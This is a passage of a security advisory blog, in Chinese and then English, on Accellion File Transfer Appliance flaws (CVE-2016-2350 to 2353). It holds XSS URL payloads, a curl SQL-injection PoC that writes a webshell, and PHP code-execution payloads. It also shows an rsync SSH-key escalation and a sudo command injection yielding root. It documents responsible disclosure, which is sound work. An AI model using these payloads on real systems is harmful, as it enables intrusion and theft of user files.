class="s1">'echo(count('</span> <span class="mf">.</span> <span class="nv">$func_call</span> <span class="mf">.</span> <span class="s1">'("'</span> <span class="mf">.</span> <span class="nv">$_csinfo</span><span class="p">[</span><span class="s1">'user_id'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'", array("nickname"=&gt;"'</span> <span class="mf">.</span> <span class="nb">addslashes</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span> <span class="p">)</span> <span class="mf">.</span> <span class="s1">'"))));'</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'p1'</span><span class="p">]</span> <span class="p">))</span> <span class="p">{</span> <span class="nv">$func_param</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="p">);</span> <span class="nv">$p_no</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="k">while</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'p'</span> <span class="mf">.</span> <span class="nv">$p_no</span><span class="p">]</span> <span class="p">))</span> <span class="p">{</span> <span class="nv">$func_param</span><span class="p">[]</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span> <span class="s1">'\''</span><span class="p">,</span> <span class="s1">'\\\''</span><span class="p">,</span> <span class="nb">str_replace</span><span class="p">(</span> <span class="s1">'$'</span><span class="p">,</span> <span class="s1">'\\$'</span><span class="p">,</span> <span class="nb">addslashes</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'p'</span> <span class="mf">.</span> <span class="nv">$p_no</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">);</span> <span class="o">++</span><span class="nv">$p_no</span><span class="p">;</span> <span class="p">}</span> <span class="nv">$func_call</span> <span class="o">=</span> <span class="s1">'echo('</span> <span class="mf">.</span> <span class="nv">$func_call</span> <span class="mf">.</span> <span class="s1">'("'</span> <span class="mf">.</span> <span class="nb">join</span><span class="p">(</span> <span class="s1">'", "'</span><span class="p">,</span> <span class="nv">$func_param</span> <span class="p">)</span> <span class="mf">.</span> <span class="s1">'"));'</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">echo</span> <span class="o">@</span><span class="k">eval</span><span class="p">(</span> <span class="nv">$func_call</span> <span class="p">);</span></code></pre></figure> <p>如果已知加密 KEY 的話,即可控制 <code class="language-plaintext highlighter-rouge">decrypt( $_POST[fc] )</code> 的輸出,而後面的正規表示式雖然針對函數名稱進行白名單過濾,但是沒對參數進行過濾,如此一來我們可以在參數的部分插入任意代碼,唯一的條件就是不能有 <code class="language-plaintext highlighter-rouge">(</code> <code class="language-plaintext highlighter-rouge">)</code> 出現,但由於 PHP 的鬆散特性,玩法其實很多,這裡列舉兩個:</p> <p><br /> 直接透過反引號執行系統指令:</p> <blockquote> <p>user_profile_auth(`$_POST[cmd]`);</p> </blockquote> <p><br /> 更優雅的方式可以透過 include 語法引入上傳檔案的 tmp_name,這樣各種保護都不用擔心:</p> <blockquote> <p>user_profile_auth(include $_FILES[file][tmp_name]);</p> </blockquote> <p><br /></p> <h4 id="local-privilege-escalation-cve-2016-2352-and-cve-2016-2353">Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)</h4> <p>在取得 PHP 網頁權限後,發現所屬權限為 nobody,為了進行更深入的研究,在對環境進行審視後,發現兩個可用來提升權限之弱點。</p> <h5 id="1-rsync-配置錯誤">1. Rsync 配置錯誤</h5> <div class="highlight-name">/etc/opt/rsyncd.conf</div> <figure class="highlight"><pre><code class="language-lighttpd" data-lang="lighttpd">log file = /home/soggycat/log/kennel.log ... [soggycat] path = /home/soggycat uid = soggycat read only = false list = false ...</code></pre></figure> <p>其中模組名稱 soggycat 對 <code class="language-plaintext highlighter-rouge">/home/soggycat/</code> 為任何人可讀可寫,所以可將 SSH Key 寫至 /home/soggycat/.ssh/ 後以 soggycat 身分登入</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">bash-3.2<span class="nv">$ </span><span class="nb">id </span><span class="nv">uid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> bash-3.2<span class="nv">$ </span>rsync 0::soggycat/.ssh/ drwx------ 4096 2016/01/29 18:13:41 <span class="nb">.</span> <span class="nt">-rw-r--r--</span> 606 2016/01/29 18:13:41 authorized_keys bash-3.2<span class="nv">$ </span>rsync 0::soggycat/.ssh/authorized_keys <span class="nb">.</span> bash-3.2<span class="nv">$ </span><span class="nb">cat </span>id_dsa.pub <span class="o">&gt;&gt;</span> authorized_keys bash-3.2<span class="nv">$ </span>rsync authorized_keys 0::soggycat/.ssh/ bash-3.2<span class="nv">$ </span>ssh <span class="nt">-i</span> id_dsa <span class="nt">-o</span> <span class="nv">UserKnownHostsFile</span><span class="o">=</span>/dev/null <span class="nt">-o</span> <span class="nv">StrictHostKeyChecking</span><span class="o">=</span>no soggycat@localhost <span class="nb">id </span>Could not create directory <span class="s1">'/.ssh'</span><span class="nb">.</span> Warning: Permanently added <span class="s1">'0,0.0.0.0'</span> <span class="o">(</span>RSA<span class="o">)</span> to the list of known hosts. <span class="nv">uid</span><span class="o">=</span>520<span class="o">(</span>soggycat<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span></code></pre></figure> <p><br /></p> <h5 id="2-command-injection-in-yum-clientpl">2. Command Injection in “yum-client.pl”</h5> <p>在 FTA 中,為了使系統可以直接透過網頁介面進行更新,因此在 sudoers 配置中特別針對 nobody 用戶允許直接使用 root 權限執行指令,並透過 <code class="language-plaintext highlighter-rouge">yum-client.pl</code> 這隻程式進行軟體更新</p> <div class="highlight-name">/etc/sudoers</div> <figure class="highlight"><pre><code class="language-apache" data-lang="apache"><span class="err">...</span> Cmnd_Alias YUM_UPGRADE = /usr/bin/yum -y upgrade Cmnd_Alias YUM_CLIENT = /usr/local/bin/yum-client.pl <span class="err">...</span> <span class="c"># User privilege specification</span> root ALL=(ALL) <span class="ss">ALL</span> admin <span class="ss">ALL</span> =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ... nobody <span class="ss">ALL</span> =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT soggycat <span class="ss">ALL</span> =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT radmin <span class="ss">ALL</span> =NOPASSWD: RESET_APPL <span class="err">...</span></code></pre></figure> <p><br /></p> <p>其中 YUM_CLIENT 就是進行更新的指令,部分代碼如下:</p> <div class="highlight-name">/usr/local/bin/yum-client.pl</div> <figure class="highlight"><pre><code class="language-perl" data-lang="perl"><span class="o">...</span> <span class="nv">GetOptions</span> <span class="p">(</span> <span class="p">'</span><span class="s1">help</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$help</span><span class="p">,</span> <span class="p">'</span><span class="s1">download_only</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$download_only</span><span class="p">,</span> <span class="p">'</span><span class="s1">list</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$list</span><span class="p">,</span> <span class="p">'</span><span class="s1">cache</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$cache</span><span class="p">,</span> <span class="p">'</span><span class="s1">clearcache</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$clearcache</span><span class="p">,</span> <span class="p">'</span><span class="s1">cdrom=s</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$cdrom</span><span class="p">,</span> <span class="p">'</span><span class="s1">appid=s</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$appid</span><span class="p">,</span> <span class="p">'</span><span class="s1">servername=s</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$servername</span><span class="p">,</span> <span class="p">'</span><span class="s1">version=s</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$version</span><span class="p">,</span> <span class="p">'</span><span class="s1">token=s</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$token</span><span class="p">);</span> <span class="k">my</span> <span class="nv">$YUM_CMD</span> <span class="o">=</span> <span class="p">"</span><span class="s2">/usr/bin/yum</span><span class="p">";</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$cache</span><span class="p">){</span> <span class="nv">$YUM_CMD</span> <span class="o">=</span> <span class="p">"</span><span class="si">$YUM_CMD</span><span class="s2"> -C</span><span class="p">";</span> <span class="p">}</span> <span class="c1"># if this is based on RHEL 5, change the repository</span> <span class="k">my</span> <span class="nv">$OS</span> <span class="o">=</span> <span class="p">`</span><span class="sb">grep -q 5 /etc/redhat-release &amp;&amp; echo -n 5</span><span class="p">`;</span> <span class="k">my</span> <span class="nv">$LOGFILE</span> <span class="o">=</span> <span class="p">"</span><span class="s2">/home/seos/log/yum-client.log</span><span class="p">";</span> <span class="k">my</span> <span class="nv">$STATUSFILE</span> <span class="o">=</span> <span class="p">"</span><span class="s2">/home/seos/log/yum-client.status</span><span class="p">";</span> <span class="k">my</span> <span class="nv">$YUMCONFIG</span> <span class="o">=</span> <span class="p">"</span><span class="s2">/etc/yum.conf</span><span class="p">";</span> <span class="k">my</span> <span class="nv">$YUMDIFF_FILE</span> <span class="o">=</span> <span class="p">'</span><span class="s1">/home/seos/log/yum.diff</span><span class="p">';</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$cdrom</span><span class="p">){</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$OS</span> <span class="ow">eq</span> <span class="p">"</span><span class="s2">5</span><span class="p">"){</span> <span class="nv">$YUM_CMD</span> <span class="o">=</span> <span class="p">"</span><span class="si">$YUM_CMD</span><span class="s2"> -c </span><span class="si">$cdrom_path</span><span class="s2">/yum.conf-5</span><span class="p">";</span> <span class="p">}</span><span class="k">else</span><span class="p">{</span> <span class="nv">$YUM_CMD</span> <span class="o">=</span> <span class="p">"</span><span class="si">$YUM_CMD</span><span class="s2"> -c </span><span class="si">$cdrom_path</span><span class="s2">/yum.conf</span><span class="p">";</span> <span class="p">}</span> <span class="nb">system</span><span class="p">("</span><span class="s2">mkdir -p /mnt/cdrom &amp;&amp; mount -o loop </span><span class="si">$cdrom</span><span class="s2"> </span><span class="si">$cdrom_path</span><span class="p">")</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">or</span> <span class="nv">fdielog</span><span class="p">(</span><span class="nv">$LOGFILE</span><span class="p">,"</span><span class="s2">unable to mount: $!</span><span class="p">");</span> <span class="p">}</span></code></pre></figure> <p>深入觀察 <code class="language-plaintext highlighter-rouge">yum-client.pl</code> 後可發現在 <code class="language-plaintext highlighter-rouge">--cdrom</code> 參數上存在 Command Injection,使得攻擊者可將任意指令插入參數內並以 root 身分執行</p> <p>所以使用如下指令:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">bash-3.2<span class="nv">$ </span><span class="nb">id </span><span class="nv">uid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> bash-3.2<span class="nv">$ </span><span class="nb">sudo</span> /usr/local/bin/yum-client.pl <span class="nt">--cdrom</span><span class="o">=</span><span class="s1">'$(id &gt; /tmp/.gg)'</span> mount: can<span class="s1">'t find /mnt/cdrom in /etc/fstab or /etc/mtab unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113. bash-3.2$ cat /tmp/.gg uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)</span></code></pre></figure> <p>即可以 root 身分執行任意指令! <br /></p> <h3 id="後門">後門</h3> <p><br /> 在取得最高權限後,開始對伺服器進行一些審視時,發現已有幾款後門藏在 FTA 主機中了,經過研究後首先確認一款 IRC BOT 為 Niara 所發布的 <a href="http://www.niara.com/docs/ta-accellion-fta-cve-2015-2857.pdf">弱點報告</a> 中有提及,此外,額外發現兩款不同類型的 PHP Webshell 並無在公開的報告中發現,透過 Apache Log 時間推測應該是透過 2015 年中的 CVE-2015-2857 所放置之後門。</p> <p>PHPSPY 後門,全球 1217 台存活主機上共發現 62 台,放置路徑於:</p> <blockquote> <p>https://&lt;fta&gt;/courier/themes/templates/Redirector_Cache.php</p> </blockquote> <p>WSO 後門,全球 1217 台存活主機上共發現 9 台,放置路徑於:</p> <blockquote> <p>https://&lt;fta&gt;/courier/themes/templates/imag.php</p> </blockquote> <p><br /></p> <h3 id="致謝">致謝</h3> <p><br /> 這份 Advisory 所提及的弱點為在 2016 二月時參加 Facebook Bug Bounty 時尋找到的,詳情可參考文章《<a href="https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script/">滲透 Facebook 的思路與發現</a>》,找到弱點的當下立即回報包括 Accellion 及 Facebook,Accellion 並在 2/12 號將此份弱點記錄在 FTA_9_12_40 並通知所有受影響的客戶安裝修補程式。</p> <p>感謝 Facebook 以及 Accellion 的迅速反應跟配合 : ) <br /></p> <h3 id="timeline">Timeline</h3> <ul> <li>2016/02/06 05:21 聯絡 Accellion 詢問何處可回報弱點</li> <li>2016/02/07 12:35 將報告寄至 Accellion Support Team</li> <li>2016/03/03 03:03 Accellion Support Team 通知會在 FTA_9_12_40 修復</li> <li>2016/05/10 15:18 詢問將撰寫 Advisory 許可及通知發現兩款後門存在</li> <li>2016/06/06 10:20 雙方討論定稿</li> </ul> <h3 id="參考">參考</h3> <ul> <li><a href="https://community.rapid7.com/community/metasploit/blog/2015/07/10/r7-2015-08-accellion-file-transfer-appliance-vulnerabilities-cve-2015-2856-cve-2015-2857">R7-2015-08: Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)</a> <a name="ref1"></a></li> <li><a href="https://www.rapid7.com/resources/advisories/R7-0039.jsp">Rapid7 Advisory R7-0039: Accellion File Transfer Appliance Multiple Vulnerabilities</a> <a name="ref2"></a></li> <li><a href="http://www.niara.com/docs/ta-accellion-fta-cve-2015-2857.pdf">Threat Advisory: Accellion File Transfer Appliance Vulnerability</a> <a name="ref3"></a></li> </ul> https://devco.re/blog/2016/09/22/advisory-accellion-file-transfer-appliance-vulnerability/ https://devco.re/blog/2016/09/22/advisory-accellion-file-transfer-appliance-vulnerability Thu, 22 Sep 2016 00:00:00 +0800 Advisory: Accellion File Transfer Appliance Vulnerability <p>By <a href="http://blog.orange.tw/">Orange Tsai</a></p> <p><a href="/blog/2016/09/22/advisory-accellion-file-transfer-appliance-vulnerability-eng-ver/">English Version</a><br /> <a href="/blog/2016/09/22/advisory-accellion-file-transfer-appliance-vulnerability/">中文版本</a></p> <hr /> <h3 id="about-accellion-fta">About Accellion FTA</h3> <p><br /> Accellion File Transfer Appliance (<code class="language-plaintext highlighter-rouge">FTA</code>) is a secure file transfer service which enables users to share and sync files online with AES 128/256 encryption. The Enterprise version further incorporates SSL VPN services with integration of Single Sign-on mechanisms like AD, LDAP and Kerberos. <br /></p> <!-- more --> <h3 id="vulnerability-details">Vulnerability Details</h3> <p><br /> In this research, the following vulnerabilities were discovered on the FTA version FTA_9_12_0 (13-Oct-2015 Release)</p> <ul> <li>Cross-Site Scripting x 3</li> <li>Pre-Auth SQL Injection leads to Remote Code Execution</li> <li>Known-Secret-Key leads to Remote Code Execution</li> <li>Local Privilege Escalation x 2</li> </ul> <p>The above-mentioned vulnerabilities allow unauthenticated attackers to remotely attack FTA servers and gain highest privileges successfully. After the attackers fully controlled the servers, they will be able to retrieve the encrypted files and user data, etc.</p> <p>After reporting to CERT/CC, these vulnerabilities were assigned 4 CVEs (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353).<br /> <br /></p> <h3 id="areas-affected">Areas Affected</h3> <p><br /> According to a public data reconnaissance, there are currently 1,217 FTA servers online around the world, most of which are located in the US, followed by Canada, Australia, UK, and Singapore.<br /> Determine from the domain name and SSL Certificate of these servers, FTA is widely used by governmental bodies, educational institutions, enterprises, including several well-known brands.<br /> <br /></p> <h3 id="vulnerability-analysis-and-exploitation">Vulnerability Analysis and Exploitation</h3> <p><br /></p> <h4 id="multiple-cross-site-scripting-cve-2016-2350">Multiple Cross-Site Scripting (CVE-2016-2350)</h4> <h5 id="1-xss-in-move_partition_framehtml">1. XSS in move_partition_frame.html</h5> <blockquote> <p>https://&lt;fta&gt;/courier/move_partition_frame.html<br /> ?f2=’-prompt(document.domain);//</p> </blockquote> <h5 id="2-xss-in-getimageajaxphp">2. XSS in getimageajax.php</h5> <blockquote> <p>https://&lt;fta&gt;/courier/web/getimageajax.php<br /> ?documentname=”onerror=”prompt(document.domain)//</p> </blockquote> <h5 id="3-xss-in-wminfohtml">3. XSS in wmInfo.html</h5> <blockquote> <p>https://&lt;fta&gt;/courier/web/wmInfo.html<br /> ?msg=ssologout<br /> &amp;loginurl=”&gt;&lt;svg/onload=”prompt(document.domain)</p> </blockquote> <p><br /></p> <h4 id="pre-auth-sql-injection-leads-to-rce-cve-2016-2351">Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)</h4> <p>After code reviewing, a pre-authentication SQL Injection vulnerability was found in FTA. This vulnerability grants malicious users access to sensitive data and personal information on the server through SQL Injection, and launch remote code execution (RCE) by further exploiting privilege-escalating vulnerabilities.<br /> The key to this problem lies in the <code class="language-plaintext highlighter-rouge">client_properties( ... )</code> function called by security_key2.api!</p> <div class="highlight-name">/home/seos/courier/security_key2.api</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="c1">// ...</span> <span class="nv">$password</span> <span class="o">=</span> <span class="nf">_decrypt</span><span class="p">(</span> <span class="nv">$password</span><span class="p">,</span> <span class="nf">_generate_key</span><span class="p">(</span> <span class="nv">$g_app_id</span><span class="p">,</span> <span class="nv">$client_id</span><span class="p">,</span> <span class="nv">$g_username</span> <span class="p">)</span> <span class="p">);</span> <span class="nf">opendb</span><span class="p">();</span> <span class="nv">$client_info</span> <span class="o">=</span> <span class="nf">client_properties</span><span class="p">(</span> <span class="nv">$client_id</span> <span class="p">)[</span><span class="mi">0</span><span class="p">];</span> <span class="c1">// ...</span></code></pre></figure> <p>Among these parameters, <code class="language-plaintext highlighter-rouge">$g_app_id</code> <code class="language-plaintext highlighter-rouge">$g_username</code> <code class="language-plaintext highlighter-rouge">$client_id</code> and <code class="language-plaintext highlighter-rouge">$password</code> are controllable by the attackers. And although the function <code class="language-plaintext highlighter-rouge">_decrypt( ... )</code> handles the passwords, it does not involve in the triggering of the vulnerability.<br /> One thing to pay special attention is that the value of <code class="language-plaintext highlighter-rouge">$g_app_id</code> will be treated as a global variable which represents the current Application ID in use, and will be applied in <code class="language-plaintext highlighter-rouge">opendb( )</code> accordingly. The code in <code class="language-plaintext highlighter-rouge">opendb( )</code> includes the following lines:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="nv">$db</span> <span class="o">=</span> <span class="no">DB_MASTER</span> <span class="mf">.</span> <span class="nv">$g_app_id</span><span class="p">;</span> <span class="k">if</span><span class="p">(</span><span class="o">!@</span><span class="nb">mysql_select_db</span><span class="p">(</span> <span class="nv">$db</span> <span class="p">))</span></code></pre></figure> <p>In <code class="language-plaintext highlighter-rouge">mysql_select_db</code>, the name of the database to be opened is controllable by the user. If wrong value was given, the program will be interrupted. Therefore, <code class="language-plaintext highlighter-rouge">$g_app_id</code> must be forged correctly.</p> <p>The following lines are the most important function <code class="language-plaintext highlighter-rouge">client_properties( $client_id )</code>.</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="k">function</span> <span class="n">client_properties</span><span class="p">(</span><span class="nv">$client_id</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$user</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$manager</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$client_type</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="nv">$client_name</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$order_by</span> <span class="o">=</span> <span class="s1">'client_id'</span><span class="p">,</span> <span class="nv">$order_type</span> <span class="o">=</span> <span class="s1">'a'</span><span class="p">,</span> <span class="nv">$limit</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$offset</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$exclude_del</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="nv">$user_type</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$user_status</span> <span class="o">=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$sql</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$user_type</span> <span class="o">=</span> <span class="s1">''</span> <span class="o">?</span> <span class="s1">'SELECT t_mail_server.* FROM t_mail_server '</span> <span class="o">:</span> <span class="s1">'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile '</span><span class="p">);</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_id'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$client_id</span><span class="p">;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_name'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$client_name</span><span class="p">;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_type'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$client_type</span><span class="p">;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">mysql_escape_like</span><span class="p">(</span> <span class="nv">$user</span> <span class="p">);</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user_type'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$user_type</span><span class="p">;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'manager'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$manager</span><span class="p">;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user_status'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$user_status</span><span class="p">;</span> <span class="nv">$sql</span> <span class="o">&amp;=</span> <span class="nf">construct_where_clause</span><span class="p">(</span> <span class="nv">$filter</span><span class="p">,</span> <span class="nv">$exclude_del</span> <span class="p">);</span> <span class="c1">// ...</span> <span class="nv">$result</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="p">);</span> <span class="o">@</span><span class="nb">mysql_query</span><span class="p">(</span> <span class="nv">$sql</span> <span class="p">);</span> <span class="p">(</span> <span class="nv">$db_result</span> <span class="o">=</span> <span class="o">||</span> <span class="nf">fatal_error</span><span class="p">(</span> <span class="s1">'exec:mysql_query('</span> <span class="mf">.</span> <span class="nv">$sql</span> <span class="mf">.</span> <span class="s1">') respond:'</span> <span class="mf">.</span> <span class="nb">mysql_error</span><span class="p">(</span> <span class="p">),</span> <span class="k">__FILE__</span><span class="p">,</span> <span class="mi">221</span> <span class="p">)</span> <span class="p">);</span></code></pre></figure> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="k">function</span> <span class="n">construct_where_clause</span><span class="p">(</span><span class="nv">$filter</span><span class="p">,</span> <span class="nv">$exclude_del</span> <span class="o">=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$where_clause</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="p">);</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'c_server_id != \'999\''</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$exclude_del</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'!(t_mail_server.c_flag &amp; '</span> <span class="mf">.</span> <span class="no">CLIENT_DELETED</span> <span class="mf">.</span> <span class="s1">')'</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_id'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'c_server_id = \''</span> <span class="mf">.</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_id'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'\''</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$filter</span><span class="p">[</span><span class="s1">'manager'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'manager'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">mysql_real_escape_string</span><span class="p">(</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'manager'</span><span class="p">]</span> <span class="p">);</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'c_manager = \''</span> <span class="mf">.</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'manager'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'\''</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_name'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_name'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">mysql_real_escape_string</span><span class="p">(</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_name'</span><span class="p">]</span> <span class="p">);</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'t_mail_server.c_name LIKE \'%'</span> <span class="mf">.</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_name'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'%\''</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">((</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">''</span> <span class="o">&amp;&amp;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">'%%'</span> <span class="p">))</span> <span class="p">{</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">mysql_real_escape_string</span><span class="p">(</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="p">);</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'t_mail_server.c_user_id LIKE \''</span> <span class="mf">.</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'\''</span><span class="p">;</span> <span class="p">}</span></code></pre></figure> <p>The parameters passed onto the function <code class="language-plaintext highlighter-rouge">client_properties( ... )</code> will be assembled into SQL statements. Among all the functions joining the assembling, <code class="language-plaintext highlighter-rouge">construct_where_clause( ... )</code> is the most crucial one.<br /> In the function <code class="language-plaintext highlighter-rouge">construct_where_clause( ... )</code>, every parameter is protected by the string <code class="language-plaintext highlighter-rouge">mysql_real_escape_string</code> except for <code class="language-plaintext highlighter-rouge">$client_id</code>. Judging from the coding style of the source code, it might be a result of oversight. Therefore, SQL Injection can be triggered by sending out corresponding parameters according to the program flow.</p> <p>In addition, FTA database user has root privileges with FILE_PRIV option enabled. By exploiting <code class="language-plaintext highlighter-rouge">INTO OUTFILE</code> and writing their own PHP code to write-enabled directory, user will be able to execute code remotely!</p> <p><strong>PoC</strong></p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>curl https://&lt;fta&gt;/courier/1000@/security_key2.api <span class="nt">-d</span> <span class="s2">"aid=1000&amp;user_id=1&amp;password=1&amp;client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"</span></code></pre></figure> <p>The created PHP file will be located at</p> <blockquote> <p>http://&lt;fta&gt;/courier/themes/templates/.cc.php</p> </blockquote> <p><br /></p> <h4 id="known-secret-key-leads-to-remote-code-execution">Known-Secret-Key leads to Remote Code Execution</h4> <p>In the previous vulnerability, one requirement to execute code remotely is the existence of a write-enabled directory for injecting webshell. But in reality, chances are there is no write-enabled directory available, thus fail to execute code through SQL Injection. But there is another way to help us accomplish RCE.</p> <p>The precondition of this vulnerability is <strong>Known-Secret-Key stored in the database</strong></p> <p>This is not a problem, since the database can be accessed with the SQL Injection vulnerability mentioned earlier. Also, although there are some parameter filters in the code, they can be bypassed!</p> <div class="highlight-name">/home/seos/courier/sfUtils.api</div> <figure class="highlight"><pre><code class="language-php" 